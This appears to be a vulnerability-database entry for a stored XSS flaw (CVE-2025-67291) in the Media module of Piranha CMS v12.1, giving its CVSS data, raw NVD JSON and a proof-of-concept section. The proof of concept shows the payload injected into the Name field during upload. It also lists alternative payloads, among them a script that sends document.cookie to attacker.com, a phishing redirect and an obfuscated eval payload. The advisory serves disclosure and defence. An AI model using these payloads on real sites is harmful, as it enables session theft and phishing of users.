Security Vulnerability Report
中文
CVE-2025-67291 CVSS 6.1 MEDIUM

CVE-2025-67291

Published: 2025-12-22 20:15:45
Last Modified: 2026-01-02 17:41:54

Description

A stored cross-site scripting (XSS) vulnerability in the Media module of Piranha CMS v12.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name field.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:dotnetfoundation:piranha_cms:12.1:*:*:*:*:*:*:* - VULNERABLE
Piranha CMS v12.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-67291 Stored XSS PoC for Piranha CMS v12.1 // Media Module Name Field Injection // Step 1: Upload a media file with malicious name // Intercept the upload request and modify the 'Name' parameter: const pocPayload = '<img src=x onerror=alert(document.cookie)>'; // Example HTTP POST request to upload media: const uploadRequest = { method: 'POST', url: '/manager/media/upload', headers: { 'Content-Type': 'multipart/form-data', 'Authorization': 'Bearer <admin_token>' }, body: { 'file': '@malicious_file.jpg', 'Name': pocPayload // Inject XSS payload here } }; // Alternative payload variants: const altPayloads = [ '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>', '<iframe src="javascript:alert(document.domain)">', '<svg onload=eval(atob("YWxlcnQoJ1hTUycp"))>', '<body onload=document.location="https://attacker.com/phish">' ]; // Step 2: Trigger the XSS // Navigate to Media listing page where the malicious name is displayed: // GET /manager/media // The injected script will execute when the page renders the media name

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67291", "sourceIdentifier": "[email protected]", "published": "2025-12-22T20:15:45.200", "lastModified": "2026-01-02T17:41:54.180", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stored cross-site scripting (XSS) vulnerability in the Media module of Piranha CMS v12.1 allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the Name field."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dotnetfoundation:piranha_cms:12.1:*:*:*:*:*:*:*", "matchCriteriaId": "9A207EFE-2C5E-429B-BEC2-29F89CF0EAE4"}]}]}], "references": [{"url": "http://piranha.com", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/vuquyen03/CVE/tree/main/CVE-2025-67291", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}